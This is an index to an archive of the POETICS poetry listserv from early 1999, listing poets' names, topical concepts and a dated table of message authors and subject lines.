Marshall, Robert 108

Martin, Camille 243, 281
Martin, Carl 269, 281
Martinez, Michael 265
Martone, Michael 132, 369
Marvin, Lee 206, 369
Mason, George 321, 355, 366
Mason, Janet 61, 132, 157
Mathews, Elizabeth 255
Mayakovsky, Vladimir 19
Mayer, Bernadette 116, 136, 156, 183
Mayer, Jane 116, 122, 156, 175, 243
Mayhew, Jonathan 203
Meltzer, David 255
Mengham, Rod 268
Merrill, James 108, 288
Merwin, W. S. 280
Messerli, Douglas 21
Metcalf, Paul 82
Middleton, Peter 108
Miki, Roy 35
Miller, Paul D. 132, 156
Miriam, Erica 285
Mitchell, Joan 320
Monroe, Harriet 156
Moore, Allison 97
Moore, Marianne 276
Moore, Todd 82
Morgan, Robin 306
Moriarity, Laura 202, 221
Morris, Dee 123
Morris, Philip 153
Morrison, Bill 156, 175, 206, 221, 233, 241
Morrisson, Mark 212
Moxley, Jennifer 108
Mueller, Robert 243
Mullen, Harryette 61, 136, 143, 202, 243
Murphy, Michelle 324
Murphy, Sheila E. 209, 268, 368
Myles, Eileen 16, 368
Neilsen, Aldon 256, 331
Neruda, Pablo 57
Nguyen, Hoa 37, 82, 115, 124, 213, 246, 255, 368
Nicholls, Peter 212, 255
Niedecker, Lorine 393
Nielsen, Aldon L. 46, 93, 311, 399
Norman, Peter 128, 143, 231
Notley, Alice 77, 82, 243
Nowak, Mark 393
O'Hara, Frank 85
Oliver, Douglas 77
Olsen, Lance 160
Olson, Charles 319
Olson, Kirby 99, 319, 355, 366
Ondaatje, Michael 29
Oppen, George 267, 393
Opstedal, Kevin 82
Osman, Jena 243, 265, 293
Ostashevsky, Eugene 206
Ostriker, Alicia 212, 226
Owen, Maureen 143, 156, 175, 183
Pacific, Asian 35, 84, 188
Padgett, Ron 255, 311
Padin, Clemente 350
Paige, Abby 196
Palmer, Michael 206, 280
Parisi, Joseph 280
Paterson, Don 306
Patterson, Ian 268, 306
Pearson, Ted 128, 231
Peirce, Kathleen 75
Peltier, Leonard 35
Perchik, Simon 68
Perelman, Bob 91, 239, 243, 255
Peters, Mark 236
Pettet, Simon 204
Peyrafitte, Nicole 253
Phillips, Beth 18, 24, 42, 148, 194, 265
Pine, White 68
Pines, Paul 140
Pinsky, Robert 194, 339, 380
Plath, Sylvia 202
Poe, Allan 194
Pound, Ezra 8, 75, 78, 91, 108, 212, 226, 244, 253, 255, 283, 355, 366
Prevallet, Kristen 154, 219, 324
Pritchett, Pat 32, 63, 93
Prunty, Randy 82, 165, 284, 369
Purcell, Greg 84
Quartermain, Peter 268
Quillen, Lori 82
Rabinowitz, Anna 243
Raine, Kathleen 106, 120
Ramsdell, Heather 154, 323, 324
Rankine, Claudia 243
Rauschenberg, Robert 85
Reeves, Jennifer 120
Retallack, Joan 311
Reznikoff, Charles 57, 346
Ribot, Marc 325
Rich, Adrienne 22, 202, 280
Rich, Elizabeth 243
Richards, Brian 128, 231, 389
Richter, Karl 128, 231
Ridge, Cedar 22, 156
Riding, Laura 198
Rifkin, Libbie 156
Riley, Denise 132, 350
Rimbaud, Dee 19
Robertson, Lisa 223
Robinson, Elizabeth 243
Robinson, Jeffrey 32
Robinson, Kit 206, 255, 399
Roche, Judith 206

Rodefer, Stephen 255
Ronk, Martha 143, 148, 265
Rosenberg, Jim 386
Rosenthal, Bob 102
Rosenthal, Chuck 29
Rosenthal, Sarah 206
Rothenberg, Jerome 175, 253, 369, 399
Rothenberg, Jerry 243, 370
Rothschild, Doug 220
Rudy, Susan 231
Sadoff, Ira 243
Saidenberg, Jocelyn 156, 175, 206, 246
Salerno, Mark 157
Sanders, James 165, 284
Sarandon, Susan 306
Savage, Tom 377
Scalapino, Leslie 46, 107, 148, 156, 175, 179, 225, 243, 245, 251, 282, 303, 311, 368, 399
Schelling, Andrew 63
Schmidt, Paul 19
Schultz, Susan M. 188, 260
Schuyler, James 161, 204
Schwartz, Jerry 212
Schwartz, Leonard 48, 324
Schwerner, Armand 253, 297, 314, 370, 399
Scroggins, Mark 255
Seale, Bobby 306
Searle, John 320
Selby, Spencer 108
Sewell, Lisa 243
Sexton, Anne 22
Shakespeare, William 15, 257
Shapiro, David 209, 288
Shaw, Lytle 213
Shaw, Nancy 225
Shelley, Percy Bysshe 32, 130, 141
Shepard, Matthew 175
Sherman, Cindy 97, 194
Sherry, James 179
Shurin, Aaron 107
Sikelianos, Eleni 82, 229, 243
Simic, Charles 331
Simon, Ann 108
Simon, Greg 68
Simone, Frank 143
Skinner, Jonathan 219, 323
Sloan, Margaret 46, 136, 143, 156, 175, 243
Smith, Dale 82, 179, 213, 246, 268, 368
Smith, Harry 27, 50, 60, 194, 212
Smith, Larry 389
Smith, Rod 82, 311
Smithson, Robert 85, 170
Snyder, Gary 108
Sondheim, Alan 10, 33, 128, 203, 231
Spandrift, Jack 52
Sparrow, John 204, 385
Spicer, Jack 95
Spicer, John 95, 99, 118, 267
Spillway, Phil 53
Squires, Geoffrey 234
Stanford, Susan 212
Stanley, George 267
Stanley, Jared 18, 24, 42
Stanton, Rob 132
Stefans, Kim 213, 368
Stein, Gertrude 77, 91, 183, 229, 242, 276, 284, 355, 366, 401
Steiner, Konrad 212
Stevens, Wallace 42, 128, 231, 313, 355, 366
Stewart, Jon 128, 231
Stewart, Susan 385
Strand, Mark 280
Sutherland, Keston 268
Swensen, Cole 32, 265
Syson, Ian 320
Taggart, John 368
Tan, Amy 128, 231
Tardos, Anne 253
Tarn, Nathaniel 247
Texas, Irving 20, 246, 306
Thomas, Dylan 18, 24, 42, 132, 194, 243, 255, 369
Thompson, George 218
Timerman, Eugene 206
Tomasula, Steve 234
Towle, Tony 255
Treadwell, Carol 157, 246, 303
Trinidad, David 399
Turner, Victor 196
Twain, Mark 56
Valentine, Jean 175
Van, Paul 323
Vangelisti, Paul 148, 265, 325
Varrone, Kevin 48
Vickery, Ann 22
Violi, Paul 255
Viscomi, Joseph 123
Wagner, Catherine 265
Waldman, Anne 63, 156, 183, 246, 339
Waldman, Ken 243
Waldrop, Rosmarie 108, 255
Walker, Alice 306
Walker, Laura 22
Walker, Margaret 22
Walker, Shawn 336, 384
Wallace, Nicole 128, 231
Walsh, Catherine 234
Warren, Kenneth 280
Warsh, Lewis 399
Washington, George 91, 127, 134, 212, 255, 306, 311, 395
Watten, Barrett 9, 157, 179, 311
Watts, Charles 128, 231
Weinberger, Eliot 268

Weiner, Lawrence 243
Weinstein, Eric 128, 212, 231
Welford, Gabrielle 35
Welish, Marjorie 243
Wellman, Donald 368
Westbrook, Dillon 156
Whitman, Walt 57
Williams, Paul O. 255
Willis, Elizabeth 255, 256, 312
Wilson, Karen 132
Wilson, Robert 366
Wittgenstein, Ludwig 227, 346
Woolf, Douglas 271
Woolf, Virginia 345
Wordsworth, William 32
Wright, C. D. 128, 231, 255
Wright, Charles 280
Wright, Judith 320
Wright, Laura 22, 63
Zauhar, Dave 62
Zukofsky, Louis 255, 393
Zurawski, Magdalena 80
Zweig, Ellen 253

CONCEPTS

Activism and protest 20, 22, 35, 104, 110, 239, 272, 280, 306, 363, 392
Aesthetics 85, 104, 179, 212, 225, 238, 243, 274, 283, 284, 303, 321, 355, 366, 400
African American poetry 22, 143, 328
Anthologies 113, 139, 143, 149, 156, 175, 189, 229, 243, 252, 255, 257, 282, 382
Appropriation 53, 132, 170, 179, 246, 328, 355, 366, 388
Archives and libraries 9, 18, 24, 37, 42, 53, 86, 109, 123, 143, 149, 156, 163, 194, 269, 276, 285, 344, 346, 399
Asian American poetry 35
Autobiography 22, 97, 143, 149, 156, 179, 240, 272
Avant-garde 108, 238, 243, 249, 262, 276
Beauty 85, 92, 140, 243, 276, 311, 345
Biography 3, 17, 25, 39, 58, 106, 120, 260, 291, 302, 316, 321, 328, 355, 366
Black Mountain 276
Book announcements 83, 91, 93, 108, 143, 269
Bookstores 127, 128, 134, 138, 187, 231, 349
Calls for submissions 78
Capitalism 284, 338
Censorship 115, 124, 182, 345
Cities 54, 84, 132, 225, 392
Class 182, 221, 233, 241, 245, 251, 262, 271, 299, 310, 312, 327, 328, 332, 342, 344, 345, 346, 362, 373, 376, 385, 387, 396
Close reading 355, 366, 400
Collage and montage 276, 323
Conferences and festivals 7, 19, 21, 35, 46, 49, 58, 70, 88, 99, 101, 108, 118, 122, 132, 136, 137, 143, 149, 156, 160, 163, 170, 175, 176, 179, 182, 188, 192, 194, 202, 208, 209, 212, 222, 224, 226, 227, 228, 230, 242, 243, 251, 258, 268, 288, 339, 344, 354, 356, 363, 365, 371, 376, 391
Copyright and permissions 20, 53, 140, 189, 212, 249, 307
Craft 150
Creative writing pedagogy 132, 137, 179, 212, 226, 308, 400
Dada 238
Deconstruction 85, 111, 263
Difficulty 53, 212, 243
Disability 132
Dreams 123, 150, 156, 175, 179, 189, 210, 323, 357
Ecology and ecopoetics 22, 132, 198, 393
Editing 48, 53, 132, 156, 179, 212, 243, 254, 303, 338
Electronic poetry and hypertext 53, 86, 190, 236, 254, 268, 287, 303, 386
Epic 27, 29, 243, 326
Epistemology 243
Erasure 85, 175, 296
Ethics 104, 283, 302, 316, 321, 355, 366, 393, 394
Experimental poetry 22, 35, 108, 155, 221, 234, 243, 321, 355, 366
Feminism 22, 108, 149, 175, 179, 192, 202, 212, 225, 239, 243, 287, 296, 302, 303, 316, 317, 321, 330, 355, 366, 372, 392
Film 51, 132, 143, 253, 260, 295, 331, 360, 374, 390
Fluxus 359
Formalism 108, 263
Futurism 9, 238
Gender 132, 179, 182, 192, 212, 216, 237, 239, 243, 254, 272, 274, 283, 291, 296, 303, 312, 317, 328, 338, 345, 363
Grants and funding 32, 132, 133, 144, 220, 229, 253, 272, 279, 283, 288, 302, 316, 321, 328, 340, 344, 345, 355, 365, 366, 400
Haiku 85, 92, 194, 268, 270, 277, 279
Harlem Renaissance 212
Hermeneutics 263
Humour and satire 104, 163, 264
Identity politics 212
Ideology 57, 76, 103, 104, 179, 192, 195, 304
Imagism 243
Improvisation 137, 153, 194, 323
Interviews 26, 53, 58, 61, 69, 81, 85, 86, 90, 119, 132, 189, 234, 249, 255, 268, 276, 306, 321, 355, 366, 368, 375, 382, 393, 400
Jewish poetics 212
Language poetry 11, 26, 45, 47, 52, 56, 62, 64, 66, 91, 108, 156, 163, 176, 179, 224,

243, 369
Latino and Latin American poetry 22, 132, 134, 306
Letters and correspondence 17, 53, 132, 175, 243, 276, 296, 310, 320, 330, 372
List moderation 53, 54, 175, 179, 252, 267, 307, 396
Little magazines 49, 53, 60, 65, 68, 82, 88, 98, 99, 105, 108, 119, 125, 127, 132, 134, 135, 138, 146, 149, 150, 156, 163, 175, 179, 183, 188, 196, 206, 216, 218, 222, 225, 233, 236, 241, 245, 246, 247, 255, 264, 268, 280, 285, 287, 301, 320, 368, 392, 395
Lyric poetry 27, 93, 224, 243, 264, 311
Marxism 219, 283, 321, 355, 366
Materiality of the text 347, 364
Memory 12, 22, 92, 156, 163, 203, 243, 257, 347, 364
MFA programs 18, 24, 32, 37, 42, 63, 132, 148, 179, 321, 326, 355, 366
Modernism 2, 17, 85, 104, 132, 156, 212, 222, 226, 228, 230, 238, 242, 244, 245, 249, 266, 268, 399
Mourning and loss 4, 53, 352, 369, 386
Multiculturalism 260, 306
Music and poetry 13, 18, 24, 35, 42, 59, 73, 85, 108, 115, 124, 129, 132, 146, 150, 156, 175, 201, 209, 217, 221, 243, 257, 264, 266, 267, 281, 284, 288, 298, 325, 369
Nationalism 195, 338
Nature 14, 20, 22, 53, 113, 143, 146, 150, 179, 198, 212, 255, 262, 319, 357, 401
Negativity and refusal 85, 225, 254, 303, 338
New Formalism 108
New York School 179, 311
Obituary and memorial 18, 24, 42, 53, 399
Objectivism 243, 319, 393
Oulipo 108
Performance and the poetry reading 16, 32, 35, 63, 86, 132, 137, 145, 157, 209, 229, 236, 238, 247, 264, 318, 386
Phenomenology 249
Philosophy 14, 132, 137, 196, 227, 243, 344, 346, 376, 392
Place and region 166, 177, 179, 357
Poet laureate 13, 28, 194
Poetics 3, 9, 19, 20, 22, 23, 25, 26, 27, 37, 39, 53, 54, 59, 68, 70, 89, 106, 112, 120, 136, 143, 148, 179, 181, 182, 183, 199, 203, 208, 212, 218, 220, 224, 225, 233, 236, 237, 238, 239, 240, 241, 242, 243, 245, 250, 254, 255, 258, 260, 263, 267, 272, 274, 283, 287, 291, 293, 296, 303, 304, 311, 314, 315, 317, 318, 319, 320, 328, 329, 340, 363, 368, 370, 374, 379, 383, 390, 391, 392
Politics and poetry 76, 239
Post-structuralism 249
Postmodernism 85, 132, 249, 268, 399
Print vs. digital 2, 3, 25, 26, 39, 56, 85, 108, 109, 128, 130, 150, 164, 170, 175, 189, 209, 229, 231, 232, 237, 247, 250, 268, 319, 326, 382, 391
Prizes and awards 32, 59, 91, 107, 119, 130, 194, 196, 288, 293, 318, 399
Procedural and constraint writing 144, 391
Prose poem 65, 108, 369
Psychoanalysis 93
Queer poetics 85, 175, 179, 212, 276, 306, 400
Race and poetry 35, 132, 175, 179, 182, 212, 237, 243, 254, 262, 274, 303, 306, 308, 338, 345, 363
Reading announcements 7, 16, 18, 21, 24, 32, 42, 49, 50, 80, 84, 91, 139, 149, 160, 193, 206, 209, 286, 288, 318, 349
Religion and the sacred 22, 104, 117, 132, 212, 223, 226, 264, 266, 324, 369, 394
Representation 179, 243
Reviewing and criticism 2, 22, 53, 68, 85, 92, 130, 132, 134, 136, 140, 156, 179, 212, 234, 241, 268, 276, 281, 282, 288, 291, 299, 302, 307, 316, 319, 321, 322, 328, 338, 355, 366, 388, 399
Revision 226
Romanticism 32
Science 22, 41, 298
Semiotics 163, 243
Serial poem 3, 4, 23, 25, 26, 29, 36, 39, 77, 84, 113, 164, 174, 197, 200, 229, 250
Small press publishing 32, 38, 41, 53, 60, 61, 89, 97, 130, 157, 164, 175, 179, 181, 182, 189, 229, 241, 246, 303, 398
Software and code 128, 150, 231, 249
Sonnet 136, 156, 308, 331
Sound poetry 19, 236
Structuralism 249
Subjectivity 51, 53, 73, 74, 76, 108, 179, 261, 287, 311, 333, 344, 401
Sublime 56, 71
Surrealism 9, 175, 238
The academy 2, 16, 32, 53, 58, 78, 92, 106, 108, 117, 120, 132, 134, 138, 156, 160, 170, 175, 179, 188, 193, 203, 212, 222, 224, 226, 227, 228, 230, 242, 243, 244, 254, 256, 260, 272, 280, 281, 283, 285, 286, 290, 299, 302, 303, 306, 316, 321, 327, 328, 332, 344, 345, 355, 365, 366, 380, 382, 393, 399, 400
The body 51, 53, 198, 342
The canon 128, 143, 156, 212, 225, 231
The Gulf War 20
The Holocaust 20

The internet 20, 37, 53, 54, 86, 106, 109, 120, 133, 156, 171, 186, 188, 220, 236, 249, 268, 284, 307, 329, 369, 398
The Iraq war 20, 51, 379
The line 53, 284
The listserv 6, 9, 20, 27, 30, 37, 53, 54, 70, 73, 128, 156, 164, 179, 181, 182, 190, 192, 199, 215, 216, 225, 231, 237, 238, 248, 255, 293, 330, 354, 372, 374, 379, 390, 392, 400
The New Sentence 108, 176
Theatre 24, 46, 51, 73, 129, 137, 143, 163, 175, 209, 253, 288, 346, 369, 380, 399
Translation 2, 15, 19, 35, 65, 119, 127, 132, 148, 196, 206, 219, 252, 253, 282, 285, 323, 324, 326, 347, 352, 364, 392, 394, 396, 397
Vietnam 20
Visual and concrete poetry 19, 35, 181, 258, 352, 391
Visual art 6, 18, 24, 30, 42, 51, 140, 157, 212, 238, 264, 268, 288, 320, 326, 336, 350, 384, 394, 399
Women's writing 22, 143, 175, 179, 192, 212, 224, 243, 285, 293, 345

Contents

Every entry links to its message. 401 in all.

25 FEB 1999

1. Michael McColl — Re: David Antin - audio addendum +

26 FEB 1999

2. Marjorie Perloff — Re: Galassi's Montale
3. Pierre Joris — Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
4. George Bowering — Re: the longer poem
5. Mark Weiss — Bronk obit

27 FEB 1999

6. Michael Heller — THE GIFT BY H.D. THE COMPLETE TEXT
7. Catherine Daly — Lee Ann Brown, Sun & Moon
8. Karen McKevitt — ezra pound
9. WENDY KRAMER — [Fwd: [Fwd: check it out]]
10. A. Jenn Sondheim — Alan Sondheim is In <automated reply>
11. louis stroffolino — Re: PHIL LEVINE

28 FEB 1999

12. rachel — (no subject)
13. Billy Little — why won't ron silliman be poet laureate
14. Harold Teichman — Advice wanted: Meschonnic
15. Jamie Ferguson — translation into archaic English
16. Andrew D Epstein — Poetry Readings (NYC)
17. Kenneth Sherwood — David Antin

1 MAR 1999

18. Heather H Thomas — Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania
19. Poetics List — Re: Goodbye Paul, Goodby Khlebnikov
20. Poetics List — Fwd: PS: Starvation Deaths in Iraq
21. Douglas — Re: Lee Ann Brown, Sun & Moon
22. Juan S. Amador Bedford — RCEI 20 C American Women Poets
23. Poetics List — Francis Berry's Long Poems
24. louis stroffolino — Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania
25. Mark Prejsnar — Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
26. Mark Prejsnar — Re: PHIL LEVINE
27. david bromige — re re the longer poem/ reading announcement
28. david bromige — Ron Silliman, Poet Laureate
29. lee ann brown — Re: Long Poems
30. BETSY ANDREWS — Re: THE GIFT BY H.D. THE COMPLETE TEXT
31. pete spence — Re: Goodbye Paul, Goodby Khlebnikov
32. Pritchett,Patrick — Re: LEFT HAND READING 3/11/99
33. Jessica Pompeii — Re: Alan Sondheim is In <automated reply>

2 MAR 1999

34. A. Jenn Sondheim — The Sadness of Directories
35. juliana spahr — reading report from Honolulu
36. miekal and — Ez @ St Liz
37. Poetics List — Virtual Poetry Workshop with Hoa Nguyen
38. Maria Damon — queries
39. Mairead Byrne — Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
40. Rodrigo Toscano — Rodrigo Toscano's New E
41. Keith Tuma — Brixton Fractals--new edition
42. louis stroffolino — Reading in Reading, PA...

43. Catherine Daly — Re: Brown
44. Ron Silliman — Not That Pig
45. Ron Silliman — Now I remember
46. Joe Ross — Re: Page Mothers Reading
47. Charles Alexander — Re: Now I remember
48. Garrett Kalleberg — TF News

3 MAR 1999

49. Michael Scharf — Page Mothers Coverage ASAP
50. George Bowering — Re: Kroetsch/Smith
51. Kevin L. Magee — Richard Foreman's New Writing
52. miekal and — Re: Now I remember
53. Poetics List — Welcome Message reprise
54. Poetics List — constant nagging / friendly message
55. Hilton Manfred Obenzinger — Obenzinger.Com
56. Hilton Manfred Obenzinger — Re: Now I remember
57. Steven Shoemaker — transparent pig
58. David Kellogg — Bibliographic inquiry: Vancouver conference
59. Billy Little — Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
60. David Baratier — Forward: help
61. Poetry Project — new poets, poems, features
62. David Zauhar — Re: Now I remember
63. Pritchett,Patrick — Re: Naropa Poetry Reading
64. George Bowering — Re: c=o=w=b=o=y poetry
65. Chris Piuma — flim 3/4 (tv or not tv?)
66. pete spence — Re: Now I remember
67. david bromige — o, sure, "now I remember"

4 MAR 1999

68. William Slaughter — Mudlark
69. miekal and — Bob Holman is all wet
70. Poetics List — Re: Page Mothers Reading / Silliman
71. Maria Damon — Re: Now I remember
72. Brian Lucas — Joanne Kyger & Gerrit Lansing
73. Eric Gleason, aka Agent Sunshine — music
74. Rebecca Wolff — Re: transparent pig
75. Lowther,John — Re: transparent pig
76. Lowther,John — Re: transparent pig
77. Linda Russo — Re: transparent pig
78. sylvester pollet — 1999 MLA Session
79. Pete Neufeld — I wanted to invite you and Yedda
80. Prageeta Sharma — Fwd: events
81. acgold01 — Levine on transparency
82. Erik Sweet — "Tool a Magazine" # 2 for SALE! Now!
83. Tom Beckett — a.l.nielsen's new book
84. Safdie Joseph — McNaughton in Seattle, Vancouver
85. Lowther,John — REVIEW of "difference/indifference" - Roth & Katz
86. komninos zervos — Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania

5 MAR 1999

87. Rachel Levitsky — Re: Lewinsky/Lansing/Kyger
88. George Bowering — Re: Bibliographic inquiry: Vancouver conference
89. Poetics List — Two quick announcements / Neufeld
90. Daniel Kane — John Ashbery on WriteNet
91. Mark Wallace — reading at Bridge Street Books, Sunday March 7 (fwd)
92. Judy Roitman — Re: REVIEW of "difference/indifference" - Roth & Katz
93. Pritchett,Patrick — Re: a.l.nielsen's new book

94. Lowther,John — query JOSHUA BECKMAN
95. Steven Clay — Jack Spicer's GOLEM
96. Don Cheney — Amazon.com
97. Poetry Project — readings & tiny presses
98. Elizabeth Treadwell — Mlinko info?
99. Safdie Joseph — Re: Bibliographic inquiry: Vancouver conference

6 MAR 1999

100. A. Jenn Sondheim — Jew
101. Peter Minter — Australian Poets in NYC - sublet? readings?
102. Ron Silliman — Bob Rosenthal email address
103. Rebecca Wolff — Re: transparent pig
104. miekal and — YOUR help needed!! - Russian artist under prosecution for his art
105. Ward Tietz — Sound (new DOC(K)S)
106. sylvester pollet — Kathleen Raine?
107. megan minka lola camille roy — New Langton Arts--- Bay Area Award Show announcement

7 MAR 1999

108. Robert Archambeau — Conference Report: Post-War American Poetry/Liege
109. Wendy Battin — Call for out-of-print books

8 MAR 1999

110. Judy Smith McDonough — poetrynow March now on-line
111. miekal and — Re: Joining you, finally
112. bruce andrews — Joining you, finally
113. miekal and — EPOS [Yr LifeLoveWork]
114. Maria Damon — Re: Jew
115. Rachel Loden — Elmslie on TV; Chernoff, Bromige, Nguyen
116. lee ann brown — Brown, Mayer, Guest in SF
117. David Clippinger — mla panel

9 MAR 1999

118. david bromige — re vancouver conference 63
119. Pierre Joris — Adolfo Bioy Casares
120. james loucks — Re: Kathleen Raine?
121. Tom Beckett — Stray
122. franklin bruno — pagemothers?
123. Matt Kirschenbaum — Blake Archive's March Update
124. MAXINE CHERNOFF — Re: Elmslie on TV; Chernoff, Bromige, Nguyen
125. John Tranter — burning blackly
126. pete spence — Re: YOUR help needed!! - Russian artist under prosecution for his art
127. George Bowering — Re: Adolfo Bioy Casares
128. A. Jenn Sondheim — BOOKS (fwd)

10 MAR 1999

129. Peter Ganick — statement on music
130. David Baratier — Pavement Saw Chapbook contest:PANTS
131. Catherine Daly — Re: PageMothers Report
132. Maria Damon (Maria Damon) — fwd: job lists
133. Maria Damon (Maria Damon) — NEA alert: fwd from a colleague
134. Anastasios Kozaitis — Re: Adolfo Bioy Casares
135. Maria Damon (Maria Damon) — Re: burning blackly
136. Poetics List Administration — PageMama O Rama / Kathy Lou Schultz
137. Kevin L. Magee — Another note on Richard Foreman's new writings
138. Juliana Spahr — new journal from Hawai'i

11 MAR 1999

139. Katie Degentesh — 9x9x9x9x9x9x9x9x9x9x9x9x9x9x9x9x9x9

140. Mark Weiss — Bill Bronk
141. Daniel Kane — Julie Carr teaches Shelley on WriteNet
142. miekal and — Re: Another note on Richard Foreman's new writings
143. dbkk — Page Mothers Report, part 1
144. Maria Damon — nea alert update
145. Poetry Project — Double Happiness
146. Lowther,John — Through John from Henry for John
147. Lowther,John — addendum to Through John from Henry for John
148. P.Standard Schaefer — MFA at Otis College of Art and Design

12 MAR 1999

149. Elizabeth Treadwell — Page Mothers & Delinquent Daughters
150. A. Jenn Sondheim — THE FULL JENNIFER
151. Mark Weiss — Query
152. david bromige — posted because of tom beckett's "life" (if that was on this list?)
153. Charles Bernstein — Impulsive Behavior
154. Garrett Kalleberg — Friendly Celebration
155. Poetry Project — Katy Lederer in your radio
156. dbkk — Page Mothers Report, part 2
157. Poetry Project — new this week
158. Lisa Bourbeau — NY NY...
159. Holly Crawford — Re: Query
160. Doug Rice — International festival of Postmodern Piracy
161. nuyopoman — YouthSlam is at 6PM on Monday!!!
162. Lowther,John — problematic question
163. Mark Weiss — Re: Page Mothers & Delinquent Daughters
164. miekal and — Re: problematic question
165. Lowther,John — LOOKING FOR PEOPLE IN ATLANTA
166. charles alexander — Re: Page Mothers Report, part 2
167. Tom Beckett — Re: posted because of tom beckett's "life" (if that was on this list?)
168. miekal and — why poets hate html #2
169. Gerald O'Connell — Re: problematic question

13 MAR 1999

170. miekal and — Re: International festival of Postmodern Piracy
171. Robert J. Tiess — Science Fiction Poems Wanted
172. Maria Damon — Re: problematic question
173. Maria Damon — Re: problematic question
174. Tom Beckett — Long Poems are the Other, aren't they?
175. dbkk — Page Mothers Report, part 3
176. R M Daley — Re: Page Mothers & Delinquent Daughters
177. david bromige — re charles alexander's bon mot re page mothers report part 2
178. david bromige — re the full jennifer

14 MAR 1999

179. J Kuszai — of Mothers & Daughters
180. Lowther,John — Re: problematic question
181. derek beaulieu / house press — an introduction...
182. Kathy Lou Schultz — Re: of Mothers & Daughters
183. Kathy Lou Schultz — PageMama O Rama (quiz, part 2)
184. Todd Baron /*/ ReMap Readers — LOVE and ReMap
185. cris cheek — e-dress wanted
186. komninos zervos — Re: problematic question
187. raea100900 — Silliman reading

15 MAR 1999

188. Susan M. Schultz — Re: LOVE and ReMap

189. A. Jenn Sondheim — the little train
190. Maria Damon — Re: problematic question
191. Michael McColl — Re: problematic question
192. Maria Damon — Re: of Mothers & Daughters
193. Michael W Bibby — Li-Young Lee Reading
194. nuyopoman — Peoples Poetry Gathering, NYT Travel Section
195. derek beaulieu / house press — "in grave ink"
196. Elizabeth Treadwell — NEW AT DOUBLE LUCY: LYNNE TILLMAN
197. Steven Marks — Re: Long Poems are the Other, aren't they?
198. Kevin L. Magee — Re: The Lament, Caravan) posted 11 Mar

16 MAR 1999

199. Poetics List Administration — disappearer
200. Richard Carfagna — Enslin essays
201. Billy Little — Re: of Mothers & Daughters
202. dbkk — Re: of Mothers & Daughters
203. Judy Roitman — More Larryville
204. Edward Foster — New Terrific Book
205. Elizabeth Fodaski — Torque
206. Katie Degentesh — 9x9 = 6,500
207. Mark Weiss — Query
208. BETSY ANDREWS — question
209. charles alexander — some tucson events

17 MAR 1999

210. A. Jenn Sondheim — 1844-1999
211. Ron Silliman — SoCal Reading Tour
212. Cassandra Laity — CFP: NEW MODERNISMS Conference
213. Poetry Project — Future readings in the outer province
214. A. Jenn Sondheim — please check out
215. Charles Bernstein — More Listserv Technical Problems
216. Elizabeth Treadwell — of Mothers & Daughters
217. Mark Weiss — Re: of Mothers & Daughters
218. Poetics List Administration — "gas jockeys Unite": 5 years of filling Station Magazine / Be…
219. Kevin L. Magee — Event Note: Transcendental Friend's 1st Anniversary
220. maz881 — e-dress wanted 9 antin
221. Kathy Lou Schultz — Re: of Mothers & Daughters

18 MAR 1999

222. John Tranter — Let's do the Modernism!
223. John Cayley — email address requests
224. Linda Russo — Re: question
225. Poetics List Administration — Re: Page Mothers & Delinquent Daughters / Russo
226. Cassandra Laity — Modernism and American Us'
227. Christopher M Devenney — Re: of Mothers & Daughters
228. Brian Lennon — Re: Let's do the Modernism!
229. Christopher Reiner — L.A. Books reading this Sunday
230. Maria Damon — Re: Let's do the Modernism!
231. derek beaulieu / house press — Fw: for info or action

19 MAR 1999

232. Karen McKevitt — Under Flag
233. Kathy Lou Schultz — Class & poetics
234. Robert Archambeau — Irish Experimental Poetry Online
235. John Cayley — email address request - 2
236. Poetics List Administration — Michael Basinski performance
237. Poetics List Administration — gender & class / Tremblay-McGaw

238. Poetics List Administration — orality and the avant-garde? / Kane 239. Mark Prejsnar — gender class poetics poetry
240. raea100900 — Re: Class & poetics
241. MAXINE CHERNOFF — Re: Class & poetics
242. james perez — Re: Let's do the Modernism!
243. Charles Bernstein — Barnard Conference Schedule (fwd)
244. schuchat — Re: Let's do the Modernism!
245. Elizabeth Treadwell — Page Daughters & the Microwaveable Feast
246. Poetry Project — this week's news
247. John Tranter — Free Nathaniel Tarn reading in London UK on 19 April
248. David L. Erben — Pitts Lodging Query
249. A. Jenn Sondheim — Re: Poets in Residence (fwd)

20 MAR 1999

250. Burt Hatlen — Re: POETICS Digest - 16 Mar 1999 to 17 Mar 1999 (#1999-50)
251. Laura Moriarty — Re: of Mothers & Daughters
252. nora chai — cavalli query

21 MAR 1999

253. Charlie Morrow — update on Banquet for Armand (fwd)
254. maz881 — Re: Page Mothers & Delinquent Daughters

22 MAR 1999

255. aerialedge — New @ Bridge Street, Blanchot, Creeley, North &&&
256. david bromige — L A readings this week
257. Kevin L. Magee — Re: Chris' interest in Riding-Crane
258. Lawrence Upton. — (no subject)
259. miekal and — 30 Samples for Orchestra
260. Poetics List — Biography and Film: A Special Issue of _Biography_ / Schultz 261. Mark Prejsnar — what poetry's for
262. dbkk — Re: of Mothers & Daughters
263. Tom Orange — shifts in modalities 264. Tom Orange — shaw/davies/kovac in toronto
265. P.Standard Schaefer — NEW RHIZOME
266. Billy Little — Re: Fwd: Let's do the Modernism!
267. Billy Little — norma cole
268. Margie Cronin — Re: Announcing Jacket # 4
269. P.Standard Schaefer — Carl Martin

23 MAR 1999

270. Don Byrd — Renga
271. George Bowering — Re: of class
272. Grant Jenkins — Re: gender class poetics poetry
273. Lowther,John — Re: what poetry's for
274. Joe Amato/Kass Fleisher — Re: gender class poetics poetry
275. Jordan Davis — Delinquent Pages
276. WENDY KRAMER — Ray Johnson Review
277. Eryque Gleason — Re: Renga
278. Tom Beckett — Re: what poetry's for
279. Grant Jenkins — Re: Renga
280. Mark Weiss — FYI--Academy of American Poets
281. Andrew Rathmann — Re: Carl Martin
282. P.Standard Schaefer — rhizome info
283. Pete Neufeld — Re: gender class poetics poetry
284. Lowther,John — An Evening with the Atlanta Poetry Group [3.1.99]
285. Kathleen Crown — announcing HOW2, a new on-line journal
286. Pete Neufeld — Reading Announcement

287. Linda Russo — Re: Page Daughters & the Microwaveable Feast

24 MAR 1999

288. Tenney Nathanson — POG: David Shapiro events (Arizona Quarterly Symposium; Tucson Poetry Fe…
